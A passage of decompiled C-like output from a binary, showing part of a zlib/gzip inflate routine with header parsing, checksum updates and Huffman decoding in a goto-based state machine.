								L320:
								return  *(_t1036 + 0x30);
							} else {
								goto L318;
							}
						} else {
							L318:
							_t645 =  *(_t1036 + 0x30);
							if(_t645 != 0) {
								L297:
								return _t645;
							} else {
								L319:
								return 0xfffffffb;
							}
						}
					}
					goto L321;
					L154:
					_t815 = _t814 >> 5;
					_t1018[0x18] = (_t814 & 0x0000001f) + 0x101;
					_t816 = _t815 >> 5;
					_t626 = (_t815 & 0x0000001f) + 1;
					_t814 = _t816 >> 4;
					_t1023 = _t1023 - 0xe;
					_t1018[0x19] = _t626;
					_t1018[0x17] = (_t816 & 0x0000000f) + 4;
					if(_t1018[0x18] > 0x11e || _t626 > 0x1e) {
						L26:
						( *(_t1036 + 0x40))[6] = 0x41d338;
						goto L294;
					} else {
						L156:
						_t1018[0x1a] = 0;
						 *_t1018 = 0x10;
						L157:
						if(_t1018[0x1a] >= _t1018[0x17]) {
							L163:
							while(_t1018[0x1a] < 0x13) {
								L165:
								 *((short*)(_t1018 + 0x70 + ( *(0x41e468 + _t1018[0x1a] * 2) & 0x0000ffff) * 2)) = 0;
								_t1018[0x1a] = _t1018[0x1a] + 1;
							}
							L166:
							_t654 =  &(_t1018[0x14c]);
							_t1018[0x1b] = _t654;
							_t1018[0x13] = _t654;
							_t1018[0x15] = 7;
							_t657 = E00408C60(0,  &(_t1018[0x1c]), 0x13,  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
							_t998 =  *(_t1036 + 0x28);
							_t1036 = _t1036 + 0x18;
							 *(_t1036 + 0x30) = _t657;
							if(_t657 != 0) {
								L293:
								( *(_t1036 + 0x40))[6] = 0x41d338;
								goto L294;
							} else {
								L167:
								_t1018[0x1a] = _t657;
								 *_t1018 = 0x11;
								L168:
								if(_t1018[0x1a] >= _t1018[0x19] + _t1018[0x18]) {
									L201:
									if( *_t1018 == 0x1b) {
										goto L295;
									} else {
										L202:
										_t660 =  &(_t1018[0x14c]);
										_t1018[0x1b] = _t660;
										_t1018[0x13] = _t660;
										_t1018[0x15] = 9;
										_t662 = E00408C60(1,  &(_t1018[0x1c]), _t1018[0x18],  &(_t1018[0x1b]),  &(_t1018[0x15]),  &(_t1018[0xbc]));
										_t1036 = _t1036 + 0x18;
										 *(_t1036 + 0x30) = _t662;
										if(_t662 == 0) {
											L204:
											_t1018[0x14] = _t1018[0x1b];
											_t1018[0x16] = 6;
											_t665 = E00408C60(2, _t1018 + 0x70 + _t1018[0x18] * 2, _t1018[0x19],  &(_t1018[0x1b]),  &(_t1018[0x16]),  &(_t1018[0xbc]));
											_t998 =  *(_t1036 + 0x28);
											_t1036 = _t1036 + 0x18;
											 *(_t1036 + 0x30) = _t665;
											if(_t665 == 0) {
												L206:
												 *_t1018 = 0x12;
												goto L207;
											} else {
												L205:
												( *(_t1036 + 0x40))[6] = 0x41d338;
												goto L294;
											}
										} else {
											L203:
											_t998 =  *(_t1036 + 0x10);
											( *(_t1036 + 0x40))[6] = 0x41d338;
											L294:
											 *_t1018 = 0x1b;
											while(1) {
												L295:
												_t623 =  *_t1018;
												if(_t623 > 0x1c) {
													break;
												}
												L1:
												switch( *((intOrPtr*)(_t623 * 4 +  &M004087C4))) {
													case 0:
														L2:
														if(_t1018[2] != 0) {
															L4:
															if(_t1023 >= 0x10) {
																L8:
																if((_t1018[2] & 0x00000002) == 0 || _t814 != 0x8b1f) {
																	_t628 = _t1018[8];
																	_t1018[4] = 0;
																	if(_t628 != 0) {
																		 *((intOrPtr*)(_t628 + 0x30)) = 0xffffffff;
																	}
																	L13:
																	if((_t1018[2] & 0x00000001) == 0 || (((_t814 & 0x000000ff) << 8) + (_t814 >> 8)) % 0x1f != 0) {
																		( *(_t1036 + 0x40))[6] = 0x41d338;
																		goto L294;
																	} else {
																		L15:
																		if((_t814 & 0x0000000f) == 8) {
																			L17:
																			_t814 = _t814 >> 4;
																			_t848 = (_t814 & 0x0000000f) + 8;
																			_t1023 = _t1023 - 4;
																			if(_t848 <= _t1018[9]) {
																				_push(0);
																				_push(0);
																				_push(0);
																				_t1018[5] = 1 << _t848;
																				_t633 = E004024A0();
																				_t998 =  *(_t1036 + 0x1c);
																				_t1018[6] = _t633;
																				 *( *((intOrPtr*)(_t1036 + 0x4c)) + 0x30) = _t633;
																				 *_t1018 =  !(_t814 >> 8) & 0x00000002 | 0x00000009;
																				_t1036 = _t1036 + 0xc;
																				_t814 = 0;
																				_t1023 = 0;
																			} else {
																				_t998 =  *(_t1036 + 0x10);
																				goto L293;
																			}
																		} else {
																			_t998 =  *(_t1036 + 0x10);
																			( *(_t1036 + 0x40))[6] = 0x41d338;
																			goto L294;
																		}
																	}
																} else {
																	_t1018[6] = E00403080(0, 0, 0);
																	 *(_t1036 + 0x2c) = 0x1f;
																	 *(_t1036 + 0x2d) = 0x8b;
																	_t636 = E00403080(_t1018[6], _t1036 + 0x2c, 2);
																	_t998 =  *(_t1036 + 0x28);
																	_t1036 = _t1036 + 0x18;
																	_t814 = 0;
																	_t1018[6] = _t636;
																	_t1023 = 0;
																	 *_t1018 = 1;
																}
																goto L295;
															} else {
																L6:
																while(_t998 != 0) {
																	_t652 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t652;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < 0x10) {
																		continue;
																	} else {
																		goto L8;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															 *_t1018 = 0xc;
															goto L295;
														}
														goto L321;
													case 1:
														L21:
														if(__esi >= 0x10) {
															L24:
															 *(__edi + 0x10) = __ebx;
															if(__bl != 8) {
																goto L293;
															} else {
																L25:
																if((__ebx & 0x0000e000) == 0) {
																	L27:
																	__eax =  *(__edi + 0x20);
																	if(__eax != 0) {
																		__ebx = __ebx >> 8;
																		__ecx = __ebx >> 0x00000008 & 0x00000001;
																		 *__eax = __ebx >> 0x00000008 & 0x00000001;
																	}
																	if(( *(__edi + 0x10) & 0x00000200) != 0) {
																		 *(__esp + 0x1c) = __bl;
																		__ebx = __ebx >> 8;
																		__edx = __esp + 0x20;
																		 *(__esp + 0x21) = __bl;
																		__eax =  *(__edi + 0x18);
																		__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																		__edx =  *(__esp + 0x1c);
																		 *(__edi + 0x18) = __eax;
																	}
																	__ebx = 0;
																	__esi = 0;
																	 *__edi = 2;
																	goto L34;
																} else {
																	goto L26;
																}
															}
														} else {
															L22:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L24;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 2:
														L32:
														if(__esi >= 0x20) {
															L36:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 4) = __ebx;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ecx = __ebx;
																__edx = __ebx;
																__ecx = __ebx >> 8;
																__edx = __ebx >> 0x10;
																__ebx = __ebx >> 0x18;
																__eax = __esp + 0x20;
																 *(__esp + 0x21) = __cl;
																 *((char*)(__esp + 0x22)) = __dl;
																 *(__esp + 0x23) = __bl;
																__ecx =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 3;
															goto L43;
														} else {
															L33:
															L34:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L36;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 3:
														L41:
														if(__esi >= 0x10) {
															L45:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																__ebx = __ebx & 0x000000ff;
																 *(__eax + 8) = __ebx & 0x000000ff;
																__ecx =  *(__edi + 0x20);
																__eax = __ebx;
																__eax = __ebx >> 8;
																 *( *(__edi + 0x20) + 0xc) = __eax;
															}
															if(( *(__edi + 0x10) & 0x00000200) != 0) {
																 *(__esp + 0x1c) = __bl;
																__ebx = __ebx >> 8;
																__edx = __esp + 0x20;
																 *(__esp + 0x21) = __bl;
																__eax =  *(__edi + 0x18);
																__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																__edx =  *(__esp + 0x1c);
																 *(__edi + 0x18) = __eax;
															}
															__ebx = 0;
															__esi = 0;
															 *__edi = 4;
															goto L50;
														} else {
															L42:
															L43:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x10) {
																	continue;
																} else {
																	goto L45;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 4:
														L50:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L59:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x10) = 0;
															}
															goto L61;
														} else {
															L51:
															if(__esi >= 0x10) {
																L54:
																__eax =  *(__edi + 0x20);
																 *(__edi + 0x40) = __ebx;
																if(__eax != 0) {
																	 *(__eax + 0x14) = __ebx;
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	 *(__esp + 0x1c) = __bl;
																	__ebx = __ebx >> 8;
																	__ecx = __esp + 0x20;
																	 *(__esp + 0x21) = __bl;
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__ebx = 0;
																__esi = 0;
																L61:
																 *__edi = 5;
																goto L62;
															} else {
																L52:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L54;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 5:
														L62:
														if(( *(__edi + 0x10) & 0x00000400) == 0) {
															L75:
															 *(__edi + 0x40) = 0;
															 *__edi = 6;
															goto L76;
														} else {
															L63:
															__eax =  *(__edi + 0x40);
															 *(__esp + 0x14) = __eax;
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															if(__eax != 0) {
																__ecx =  *(__edi + 0x20);
																if(__ecx != 0) {
																	__ecx =  *(__ecx + 0x10);
																	 *(__esp + 0x34) = __ecx;
																	if(__ecx != 0) {
																		 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
																		__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
																		__edx =  *(__edi + 0x20);
																		__edx =  *( *(__edi + 0x20) + 0x18);
																		 *(__esp + 0x20) = __ecx;
																		if(__ecx > __edx) {
																			__eax = __edx;
																		}
																		__edx =  *(__esp + 0x34);
																		__eax =  *(__esp + 0x24);
																		__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
																		__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
																		__eax =  *(__esp + 0x20);
																		__edx =  *(__esp + 0x1c);
																	}
																}
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																	__eax =  *(__esp + 0x20);
																}
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																 *(__esp + 0x10) = __edx;
															}
															if( *(__edi + 0x40) != 0) {
																goto L303;
															} else {
																goto L75;
															}
														}
														goto L321;
													case 6:
														L76:
														if(( *(__edi + 0x10) & 0x00000800) == 0) {
															L89:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x1c) = 0;
															}
															goto L91;
														} else {
															L77:
															if(__edx == 0) {
																goto L303;
															} else {
																L78:
																__eax = 0;
																while(1) {
																	L79:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x1c);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L84:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L85:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L88:
																	L91:
																	 *(__edi + 0x40) = 0;
																	 *__edi = 7;
																	goto L92;
																}
															}
														}
														goto L321;
													case 7:
														L92:
														if(( *(__edi + 0x10) & 0x00001000) == 0) {
															L105:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__eax + 0x24) = 0;
															}
															goto L107;
														} else {
															L93:
															if(__edx == 0) {
																goto L303;
															} else {
																L94:
																__eax = 0;
																while(1) {
																	L95:
																	__ecx = __ebp[__eax] & 0x000000ff;
																	 *(__esp + 0x14) = __eax;
																	__eax =  *(__edi + 0x20);
																	 *(__esp + 0x20) = __ecx;
																	if(__eax != 0) {
																		__ecx =  *(__eax + 0x24);
																		 *(__esp + 0x34) = __ecx;
																		if(__ecx != 0) {
																			__ecx =  *(__edi + 0x40);
																			if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																				__edx =  *(__esp + 0x34);
																				 *((char*)( *(__esp + 0x34) + __ecx)) =  *(__esp + 0x20);
																				 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																				__edx =  *(__esp + 0x10);
																			}
																		}
																	}
																	if( *(__esp + 0x20) == 0) {
																		break;
																	}
																	L100:
																	__eax =  *(__esp + 0x14);
																	if(__eax < __edx) {
																		continue;
																	}
																	break;
																}
																L101:
																if(( *(__edi + 0x10) & 0x00000200) != 0) {
																	__ecx =  *(__esp + 0x14);
																	__edx =  *(__edi + 0x18);
																	__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
																	__edx =  *(__esp + 0x1c);
																	 *(__edi + 0x18) = __eax;
																}
																__eax =  *(__esp + 0x14);
																__edx = __edx - __eax;
																__ebp =  &(__ebp[__eax]);
																 *(__esp + 0x10) = __edx;
																if( *(__esp + 0x20) != 0) {
																	goto L303;
																} else {
																	L104:
																	L107:
																	 *__edi = 8;
																	goto L108;
																}
															}
														}
														goto L321;
													case 8:
														L108:
														if(( *(__edi + 0x10) & 0x00000200) == 0) {
															L115:
															__eax =  *(__edi + 0x20);
															if(__eax != 0) {
																 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
																__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
																__edx =  *(__edi + 0x20);
																 *( *(__edi + 0x20) + 0x30) = 1;
															}
															__eax = E00403080(0, 0, 0);
															__ecx =  *(__esp + 0x4c);
															__edx =  *(__esp + 0x1c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															 *__edi = 0xb;
															goto L295;
														} else {
															L109:
															if(__esi >= 0x10) {
																L112:
																__ecx =  *(__edi + 0x18) & 0x0000ffff;
																if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
																	L114:
																	__ebx = 0;
																	__esi = 0;
																	goto L115;
																} else {
																	L113:
																	__eax =  *(__esp + 0x40);
																	 *(__eax + 0x18) = 0x41d338;
																	goto L294;
																}
																goto L295;
															} else {
																L110:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 0x10) {
																		continue;
																	} else {
																		goto L112;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 9:
														L118:
														if(__esi >= 0x20) {
															L122:
															__ebx = __ebx & 0x0000ff00;
															__ebx = __ebx << 0x10;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
															__ebx = __ebx >> 8;
															__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
															__eax = __ebx >> 0x00000008 & 0x0000ff00;
															__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
															__eax = __ecx + __ebx;
															__ecx =  *(__esp + 0x40);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x40) + 0x30) = __eax;
															__ebx = 0;
															__esi = 0;
															 *__edi = 0xa;
															goto L123;
														} else {
															L119:
															L120:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L122;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xa:
														L123:
														if( *((intOrPtr*)(__edi + 0xc)) == 0) {
															L298:
															__eax =  *(__esp + 0x40);
															__ecx =  *(__esp + 0x24);
															 *(__eax + 0xc) =  *(__esp + 0x24);
															__ecx =  *(__esp + 0x18);
															 *__eax = __ebp;
															 *(__eax + 0x10) =  *(__esp + 0x18);
															 *(__eax + 4) = __edx;
															 *(__edi + 0x3c) = __esi;
															_pop(__esi);
															_pop(__ebp);
															 *(__edi + 0x38) = __ebx;
															_pop(__ebx);
															__eax = 2;
															_pop(__edi);
															__esp = __esp + 0x2c;
															return 2;
														} else {
															L124:
															_push(0);
															_push(0);
															_push(0);
															__eax = E004024A0();
															__edx =  *(__esp + 0x4c);
															 *(__edi + 0x18) = __eax;
															 *( *(__esp + 0x4c) + 0x30) = __eax;
															__edx =  *(__esp + 0x1c);
															__esp = __esp + 0xc;
															 *__edi = 0xb;
															goto L125;
														}
														goto L321;
													case 0xb:
														L125:
														if( *((intOrPtr*)(__esp + 0x44)) == 5) {
															goto L303;
														} else {
															goto L126;
														}
														goto L321;
													case 0xc:
														L126:
														if( *(__edi + 4) == 0) {
															L128:
															if(__esi >= 3) {
																L132:
																__ecx = __ebx;
																__ebx = __ebx >> 1;
																__eax = __ebx;
																__ecx = __ecx & 0x00000001;
																__eax = __ebx & 0x00000003;
																__esi = __esi - 1;
																 *(__edi + 4) = __ecx;
																if(__eax > 3) {
																	L138:
																	__ebx = __ebx >> 2;
																	__esi = __esi - 2;
																} else {
																	L133:
																	switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
																		case 0:
																			L134:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xd;
																			__esi = __esi - 2;
																			goto L295;
																		case 1:
																			L135:
																			__eax = __edi;
																			__eax = E00407290(__edi);
																			__ebx = __ebx >> 2;
																			 *__edi = 0x12;
																			__esi = __esi - 2;
																			goto L295;
																		case 2:
																			L136:
																			__ebx = __ebx >> 2;
																			 *__edi = 0xf;
																			__esi = __esi - 2;
																			goto L295;
																		case 3:
																			L137:
																			__eax =  *(__esp + 0x40);
																			 *(__eax + 0x18) = 0x41d338;
																			 *__edi = 0x1b;
																			goto L138;
																	}
																}
																goto L295;
															} else {
																L129:
																L130:
																while(__edx != 0) {
																	__eax =  *__ebp & 0x000000ff;
																	__ecx = __esi;
																	__eax = ( *__ebp & 0x000000ff) << __cl;
																	__edx = __edx - 1;
																	__esi = __esi + 8;
																	__ebp =  &(__ebp[1]);
																	__ebx = __ebx + __eax;
																	 *(__esp + 0x10) = __edx;
																	if(__esi < 3) {
																		continue;
																	} else {
																		goto L132;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L127:
															__esi = __esi & 0x00000007;
															__ebx = __ebx >> __cl;
															__esi = __esi - (__esi & 0x00000007);
															 *__edi = 0x18;
															goto L295;
														}
														goto L321;
													case 0xd:
														L139:
														__esi = __esi & 0x00000007;
														__esi = __esi - (__esi & 0x00000007);
														__ebx = __ebx >> __cl;
														if(__esi >= 0x20) {
															L142:
															__ecx = __ebx;
															__eax = __ebx;
															__ecx =  !__ebx;
															__eax = __ebx & 0x0000ffff;
															__ecx =  !__ebx >> 0x10;
															if(__eax ==  !__ebx >> 0x10) {
																L144:
																__ebx = 0;
																 *(__edi + 0x40) = __eax;
																__esi = 0;
																 *__edi = 0xe;
																goto L145;
															} else {
																L143:
																__eax =  *(__esp + 0x40);
																 *(__eax + 0x18) = 0x41d338;
																goto L294;
															}
														} else {
															L140:
															while(__edx != 0) {
																__eax =  *__ebp & 0x000000ff;
																__ecx = __esi;
																__eax = ( *__ebp & 0x000000ff) << __cl;
																__edx = __edx - 1;
																__esi = __esi + 8;
																__ebp =  &(__ebp[1]);
																__ebx = __ebx + __eax;
																 *(__esp + 0x10) = __edx;
																if(__esi < 0x20) {
																	continue;
																} else {
																	goto L142;
																}
																goto L321;
															}
															goto L303;
														}
														goto L321;
													case 0xe:
														L145:
														__eax =  *(__edi + 0x40);
														 *(__esp + 0x14) = __eax;
														if(__eax == 0) {
															goto L224;
														} else {
															L146:
															if(__eax > __edx) {
																__eax = __edx;
																 *(__esp + 0x14) = __edx;
															}
															__ecx =  *(__esp + 0x18);
															if(__eax > __ecx) {
																__eax = __ecx;
																 *(__esp + 0x14) = __eax;
															}
															if(__eax == 0) {
																goto L303;
															} else {
																L151:
																__ecx =  *(__esp + 0x14);
																__edx =  *(__esp + 0x24);
																__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
																__eax =  *(__esp + 0x20);
																 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
																 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
																 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
																__edx =  *(__esp + 0x1c);
																__ebp =  &(__ebp[__eax]);
																 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
																goto L295;
															}
														}
														goto L321;
													case 0xf:
														goto L0;
													case 0x10:
														goto L157;
													case 0x11:
														goto L168;
													case 0x12:
														L207:
														if(_t998 < 6 ||  *(_t1036 + 0x18) < 0x102) {
															L210:
															_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
															 *(_t1036 + 0x14) = _t671;
															if((_t671 >> 0x00000008 & 0x000000ff) <= _t1023) {
																L214:
																if(_t671 == 0 || (_t671 & 0x000000f0) != 0) {
																	L221:
																	_t864 = _t671 >> 0x00000008 & 0x000000ff;
																	_t814 = _t814 >> _t864;
																	_t1023 = _t1023 - _t864;
																	 *(_t1036 + 0x20) = _t864;
																	_t1018[0x10] = _t671 >> 0x10;
																	if(_t671 != 0) {
																		L223:
																		if((_t671 & 0x00000020) == 0) {
																			L225:
																			if((_t671 & 0x00000040) == 0) {
																				L227:
																				_t1018[0x12] = _t671 & 0xf;
																				 *_t1018 = 0x13;
																				goto L228;
																			} else {
																				L226:
																				( *(_t1036 + 0x40))[6] = 0x41d338;
																				goto L294;
																			}
																		} else {
																			L224:
																			 *_t1018 = 0xb;
																			goto L295;
																		}
																	} else {
																		L222:
																		 *_t1018 = 0x17;
																		goto L295;
																	}
																} else {
																	L216:
																	_t928 = _t671 >> 8;
																	 *(_t1036 + 0x34) = _t928;
																	 *(_t1036 + 0x20) = _t928 & 0x000000ff;
																	 *(_t1036 + 0x2c) = _t671;
																	_t738 =  *(_t1018[0x13] + ((((0x00000001 << (_t671 & 0x000000ff) +  *(_t1036 + 0x20)) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x14) >> 0x10)) * 4);
																	 *(_t1036 + 0x14) = _t738;
																	if((_t738 >> 0x00000008 & 0x000000ff) + ( *(_t1036 + 0x34) & 0x000000ff) <= _t1023) {
																		L220:
																		_t937 =  *(_t1036 + 0x2d) & 0x000000ff;
																		_t671 =  *(_t1036 + 0x14);
																		_t814 = _t814 >> _t937;
																		_t1023 = _t1023 - _t937;
																		goto L221;
																	} else {
																		L217:
																		L218:
																		while(_t998 != 0) {
																			_t743 = ( *_t1029 & 0x000000ff) << _t1023;
																			_t939 =  *(_t1036 + 0x2c);
																			_t998 = _t998 - 1;
																			_t1023 = _t1023 + 8;
																			_t814 = _t814 + _t743;
																			_t744 = _t939 & 0x000000ff;
																			 *(_t1036 + 0x20) = _t744;
																			_t1029 =  &(_t1029[1]);
																			 *(_t1036 + 0x10) = _t998;
																			 *(_t1036 + 0x14) = 1;
																			if(( *(_t1018[0x13] + ((((0x00000001 << (_t939 & 0x000000ff) + _t744) - 0x00000001 & _t814) >>  *(_t1036 + 0x20)) + ( *(_t1036 + 0x2e) & 0x0000ffff)) * 4) >> 0x00000008 & 0x000000ff) +  *(_t1036 + 0x20) > _t1023) {
																				continue;
																			} else {
																				goto L220;
																			}
																			goto L321;
																		}
																		goto L303;
																	}
																}
															} else {
																L211:
																L212:
																while(_t998 != 0) {
																	_t756 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t814 = _t814 + _t756;
																	_t1029 =  &(_t1029[1]);
																	 *(_t1036 + 0x10) = _t998;
																	_t671 =  *(_t1018[0x13] + ((0x00000001 << _t1018[0x15]) - 0x00000001 & _t814) * 4);
																	 *(_t1036 + 0x14) = 1;
																	if(0xad > _t1023) {
																		continue;
																	} else {
																		goto L214;
																	}
																	goto L321;
																}
																goto L303;
															}
														} else {
															L209:
															_t761 =  *(_t1036 + 0x40);
															_t761[4] =  *(_t1036 + 0x18);
															_t761[3] =  *(_t1036 + 0x24);
															_push( *(_t1036 + 0x28));
															 *_t761 = _t1029;
															_t761[1] =  *(_t1036 + 0x10);
															_push(_t761);
															_t1018[0xe] = _t814;
															_t1018[0xf] = _t1023;
															E00406CA0();
															_t763 =  *(_t1036 + 0x48);
															_t1029 =  *_t763;
															_t764 = _t763[1];
															_t814 = _t1018[0xe];
															_t1023 = _t1018[0xf];
															 *(_t1036 + 0x20) = _t763[4];
															_t1036 = _t1036 + 8;
															 *(_t1036 + 0x24) = _t763[3];
															 *(_t1036 + 0x10) = _t764;
															_t998 = _t764;
															goto L295;
														}
														goto L321;
													case 0x13:
														L228:
														_t672 = _t1018[0x12];
														if(_t672 == 0) {
															L234:
															 *_t1018 = 0x14;
															goto L235;
														} else {
															L229:
															if(_t1023 >= _t672) {
																L233:
																_t925 = _t1018[0x12];
																_t1018[0x10] = _t1018[0x10] + ((0x00000001 << _t925) - 0x00000001 & _t814);
																_t814 = _t814 >> _t925;
																_t1023 = _t1023 - _t925;
																goto L234;
															} else {
																L230:
																L231:
																while(_t998 != 0) {
																	_t729 = ( *_t1029 & 0x000000ff) << _t1023;
																	_t998 = _t998 - 1;
																	_t1023 = _t1023 + 8;
																	_t1029 =  &(_t1029[1]);
																	_t814 = _t814 + _t729;
																	 *(_t1036 + 0x10) = _t998;
																	if(_t1023 < _t1018[0x12]) {
																		continue;
																	} else {
																		goto L233;
																	}
																	goto L321;
																}
																goto L303;
															}
														}
														goto L321;
													case 0x14:
														L235:
														_t678 =  *((intOrPtr*)(_t1018[0x14] + ((0x00000001 << _t1018[0x16]) - 0x00000001 & _t814) * 4));
														 *(_t1036 + 0x14) = _t678;
														if((_t678 >> 0x00000008 & 0x000000ff) <= _t1023) {
															L239:
															if((_t678 & 0x000000f0) != 0) {
																L244:
																_t876 = _t678 >> 0x00000008 & 0x000000ff;
																_t814 = _t814 >> _t876;
																_t1023 = _t1023 - _t876;
																 *(_t1036 + 0x20) = _t876;
																if((_t678 & 0x00000040) == 0) {
																	L246:
																	_t1018[0x11] = _t678 >> 0x10;
